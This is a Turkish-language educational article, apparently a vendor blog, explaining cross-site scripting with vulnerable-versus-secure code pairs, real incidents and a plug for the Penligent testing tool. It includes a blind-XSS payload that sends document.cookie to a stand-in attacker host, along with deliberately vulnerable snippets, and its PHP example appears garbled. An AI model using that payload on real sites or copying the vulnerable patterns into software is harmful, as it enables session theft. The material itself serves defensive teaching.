Siteler Arası Komut Dosyası Oluşturma (XSS) bir saldırganın diğer kullanıcıların görüntülediği web sayfalarına genellikle JavaScript olmak üzere kötü amaçlı kod enjekte ettiği bir web güvenlik açığıdır. Enjekte edilen kod, kurbanın tarayıcısında güvenilir site bağlamı altında yürütülür ve saldırganların çerezleri çalmasına, oturumları ele geçirmesine, veri sızdırmasına veya kullanıcılar adına eylemler gerçekleştirmesine olanak tanır.
XSS 2025'te Neden Küresel Bir Sorun Olmaya Devam Ediyor?
XSS, onlarca yıldır en yaygın web güvenlik açıklarından biri olarak varlığını sürdürmektedir. İlk olarak 1990'ların sonunda web platformlarında dinamik içeriğin ve kullanıcı tarafından oluşturulan girdilerin artmasıyla yaygın olarak tanınmaya başlamıştır.
Son araştırmalar, XSS'nin özellikle modern çerçeveler, API'ler, dinamik oluşturma, zengin metin içeriği ve üçüncü taraf entegrasyonları ile web uygulamalarını etkilemeye devam ettiğini doğrulamaktadır.
Kullanıcı girdisini (yorumlardan JSON API'lerine kadar) uygun sterilizasyon veya çıktı kodlaması olmadan kabul eden tüm web uygulamaları risk altındadır.

Gerçek Dünyadan XSS İhlal Örnekleri
ERPNext / Frappe - CVE-2025-56379 Depolanmış XSS
2025 yılında ERPNext/Frappe, Blog modülünde (15.67.0 / 15.72.4 sürümleri) depolanmış bir XSS güvenlik açığını ifşa etmiştir. Kimliği doğrulanmış kullanıcılar Blog modülüne kötü amaçlı HTML/JavaScript enjekte edebiliyordu. İçerik alan. Yük, blog gönderisini görüntüleyen kullanıcıların tarayıcılarında çalıştırılarak oturum ele geçirme ve veri hırsızlığı riskini doğurur.
Bu durum, kullanıcı tarafından oluşturulan HTML'nin uygun şekilde sterilize edilmeden işlenmesi halinde, iyi bakımlı açık kaynaklı platformların bile savunmasız olduğunu göstermektedir.
Tarihi Vaka: MySpace'de Samy Worm (2005)
Samy solucanı MySpace kullanıcı profillerindeki XSS'den yararlandı. Solucan 20 saat içinde bir milyondan fazla profile yayılarak XSS'nin nasıl hızla yayılabileceğini ve kullanıcı oturumlarını ele geçirebileceğini gösterdi.
XSS Türleri ve Saldırı Vektörleri
XSS'nin çeşitli varyantları vardır:
| Tip | Açıklama | Tipik Saldırı Vektörü |
|---|---|---|
| Yansıtılmış XSS | Yük, istekten yanıta hemen yansıtılır | URL parametreleri, arama alanları |
| Depolanmış XSS | Yük sunucuda saklanır ve daha sonra çalıştırılır | Yorumlar, bloglar, kullanıcı profilleri |
| DOM tabanlı XSS | İstemci tarafı komut dosyaları güvenli olmayan içerik enjekte eder | Tek sayfalı uygulamalar, URL hash, JS şablonları |
| Kör XSS | Yük, anında geri bildirim olmadan yürütülür | Yönetici panoları, günlükler, e-postalar |
Modern saldırılar ayrıca sanitizer'lardan kaçabilen ve kör XSS koşullarını tetikleyebilen çoklu yükleri de içerir. (arxiv.org)
XSS Saldırılarının Sonuçları
- Oturum Korsanlığı ve Hesap Ele Geçirme
- Yetkisiz Eylemler / Kullanıcı Kimliğine Bürünme
- Veri Hırsızlığı / Hassas Bilgilerin Açığa Çıkması
- Tahrifat, Kimlik Avı veya Sosyal Mühendislik
- Kalıcı Kötü Amaçlı Yazılım Dağıtımı
Kullanıcı girdisini güvenli olmayan bir şekilde görüntüleyen küçük web uygulamaları bile risk altındadır.
Saldırı ve Savunma Örnekleri
Örnek 1 - Yansıtılmış XSS (PHP + HTML)
Savunmasız:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>Arama sonuçları:</p> </body> </html>
Daha güvenli versiyon:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>Arama sonuçları:</p> </body> </html>

Örnek 2 - Yorumlarda Saklanan XSS (JavaScript + HTML)
Savunmasız Rendering:
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
DOMPurify ile Güvenli Rendering:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
Örnek 3 - URL üzerinden DOM Tabanlı XSS
Savunmasız:
javascript
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
Güvenli:
javascript
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
Örnek 4 - Kör / Gecikmeli XSS
Saldırı Yükü:
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
Savunma:
- Sunucu tarafında kullanıcı HTML girdisini sterilize etme
- Sıkı HTML etiketi/öznitelik beyaz listesi uygulama
- İçerik Güvenliği İlkesini (CSP) Zorla
pgsql
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
Örnek 5 - JSON API Enjeksiyonu (JavaScript)
Savunmasız:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
Güvenli:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
Örnek 6 - Şablon Enjeksiyonu (Python / Jinja2)
Savunmasız:
python
from jinja2 import Template user_input = "{{7*7}}"tpl = Template(user_input)print(tpl.render())
Güvenli:
python
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())

GitHub'dan Gerçek Dünya Dersleri (2018)
GitHub, Markdown oluşturmada depolanmış bir XSS'ye sahipti. Kullanıcılar README dosyalarına JS kodu ekleyebiliyordu; depo sayfasını açan herhangi bir ziyaretçi kodu çalıştırıyordu. GitHub, girdiyi sterilize ederek ve izin verilen HTML etiketlerini kısıtlayarak sorunu çözdü. (GitHub Güvenliği)
Modern İş Akışlarına XSS Önleme Entegrasyonu
- Çıktı kodlama ve sanitizasyon tüm bağlamlarda: HTML, JS, CSS, URL
- Modern dezenfektanlar kullanın: DOMPurify, sunucu tarafı kaçış kütüphaneleri, otomatik kaçışa sahip şablon motorları
- CSP uygulayın: satır içi komut dosyalarını engeller ve komut dosyası kaynaklarını kısıtlar
- Otomatik test: statik analiz, dinamik tarama, fuzzing, kör XSS testleri
- Manuel sızma testleri: karmaşık veya çok adımlı enjeksiyon vektörlerini doğrulayın
- Denetim ve izlemeŞüpheli girdileri günlüğe kaydedin, yönetici / üçüncü taraf içeriğini inceleyin, kod incelemelerini uygulayın
Otomatik XSS Testi için Penligent Entegrasyonu
Modern güvenlik ekipleri aşağıdaki gibi akıllı sızma testi platformlarından yararlanabilir Penligent birden fazla bağlamda XSS algılamayı otomatikleştirmek için:
- Yansıyan, depolanan, DOM ve kör XSS vektörleri için sürekli tarama
- Otomatik yük enjeksiyonu ve analizi
- Raporlama ve iyileştirme önerileri
- DevSecOps iş akışı için CI/CD boru hatları ile entegrasyon
Ekipler Penligent'i kullanarak manuel çabayı azaltır, kapsamı iyileştirir ve gelişen XSS tehditlerine karşı sürekli koruma sağlar.
Özet
- XSS, onlarca yıllık farkındalığa rağmen en önemli web güvenlik açığı olmaya devam ediyor.
- Savunma çok katmanlı önlemler gerektirir: kodlama, sanitizasyon, CSP, güvenli API'ler ve sürekli test.
- Otomatik ve manuel testler bir arada, özellikle modern dinamik uygulamalarda sağlam koruma sağlar.
- Gibi akıllı platformlar Penligent XSS'yi proaktif olarak tespit edip azaltarak güvenlik iş akışlarını geliştirebilir.
Referanslar
MDN Web Dokümanları - XSS'ye Genel Bakış

